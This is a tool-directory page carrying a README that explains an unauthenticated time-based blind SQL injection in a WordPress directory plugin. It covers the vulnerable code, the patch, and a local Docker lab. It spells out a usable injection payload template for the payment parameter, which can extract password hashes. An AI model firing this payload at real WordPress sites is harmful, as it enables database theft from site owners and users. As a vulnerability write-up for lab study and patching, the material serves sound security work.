Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE_2026_2576_PoC — CVE-2026-2576 — Business Directory Plugin SQLi PoC (Local Setup). Unauthenticated Time-Based Blind SQL Injection Business Directory Plugin for WordPress ≤ 6.4.21 | Kitploit
Tools/GitHubGitHub/sowatkheang/cve_2026_2576_poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubsowatkheang/cve_2026_2576_poc

CVE_2026_2576_PoC

CVE-2026-2576 — Business Directory Plugin SQLi PoC (Local Setup). Unauthenticated Time-Based Blind SQL Injection Business Directory Plugin for WordPress ≤ 6.4.21

View Repository
2626 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-2576 — Business Directory Plugin SQLi PoC

Unauthenticated Time-Based Blind SQL Injection
Business Directory Plugin for WordPress ≤ 6.4.21


Table of Contents

  • Vulnerability Overview
  • Technical Analysis
  • Lab Requirements
  • Lab Setup
  • Running the PoC
  • Expected Output
  • Patch Analysis
  • References
  • Disclaimer

Vulnerability Overview

FieldDetail
CVECVE-2026-2576
PluginBusiness Directory Plugin – Easy Listing Directories for WordPress
Vendorstrategy11team
AffectedAll versions ≤ 6.4.21
Patched6.4.22
TypeTime-Based Blind SQL Injection (CWE-89)
AuthNone — fully unauthenticated
CVSS7.5 (NVD) / 9.3 (Wordfence)
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AssignerWordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
DisclosedFebruary 18, 2026

The Business Directory Plugin is a widely used WordPress plugin for building listing directories with payment support. A flaw in its ORM query builder allows an unauthenticated attacker to perform time-based blind SQL injection via the payment query parameter, enabling inference of database contents.


Technical Analysis

Root Cause

The vulnerability lives in the ORM query builder:

File: includes/db/class-db-query-set.php — filter_args()

private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ VULNERABLE — no sanitisation, direct string concatenation
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ Safe — uses $wpdb->prepare()
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

When $v is a scalar, the code correctly uses $wpdb->prepare(). When $v is an array, it falls into the unsafe branch and concatenates values directly into the SQL string with no escaping.

Trigger

The checkout controller (includes/controllers/pages/class-checkout.php) reads the payment request parameter and passes it to the ORM:

// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id passed as value
    );
}

PHP automatically converts payment[]=value in the query string into an array $_GET['payment'] = ['value']. This forces $v to be an array in filter_args(), hitting the unsafe branch.

Injection Flow

GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← array due to [] notation
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → unsafe branch
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

Injection Payload

payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -

Generated SQL:

SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')

The -- - comments out the trailing '). The IF() creates a boolean oracle, when the condition is TRUE, SLEEP(N) fires and the response is delayed; when FALSE the response is immediate.

Note: The ORM executes the query twice per request (once in get(), once in maybe_execute_query()), so a SLEEP(1) payload produces ~2 seconds of observable delay, and SLEEP(2) produces ~4 seconds.

Impact

An unauthenticated attacker can infer and extract database contents character by character through time-based responses, including:

  • WordPress user table (wp_users), usernames, email addresses, password hashes
  • Plugin payment records, transaction data, listing owner details
  • Any other table accessible by the DB user

Patch

The fix in version 6.4.22 adds sanitisation to the array branch of filter_args():

// BEFORE (vulnerable)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// AFTER (patched)
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

Lab Requirements

  • Docker + Docker Compose (v2)
  • Python 3.9+
  • Kali Linux or any Linux host
  • Internet access (to pull Docker images and download the plugin)

Install Python dependencies:

pip3 install requests colorama --break-system-packages

Lab Setup

Step 1: Clone or create the lab directory

cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

Step 2: Start the full stack

cd cve-2026-2576-lab
docker compose up -d --build

Step 3: Run the installer and wait for completion

docker compose up setup

Wait until you see:

╔══════════════════════════════════════════════════════════╗
║           Lab Setup Complete!                            ║
╠══════════════════════════════════════════════════════════╣
║  WordPress:   http://localhost:8080                      ║
║  WP Admin:    http://localhost:8080/wp-admin             ║
║  phpMyAdmin:  http://localhost:8082                      ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  Plugin: 6.4.21 (VULNERABLE)                             ║
║  BD Page ID: 4                                           ║
╚══════════════════════════════════════════════════════════╝

Step 4: Confirm the vulnerable plugin version

docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# Expected: * Version: 6.4.21

Step 5: Get the real payment_key from the database

docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

Step 6: Start phpMyAdmin (optional, for DB inspection)

docker compose up -d pma
# Access at http://localhost:8082  (root / rootpass)

Running the PoC

All commands run from the lab root directory on your Kali host. Use http://localhost:8080 (host → Docker port mapping). The payment_key must correspond to an existing row in wp_wpbdp_payments.

Detect: confirm the injection exists

Download Tool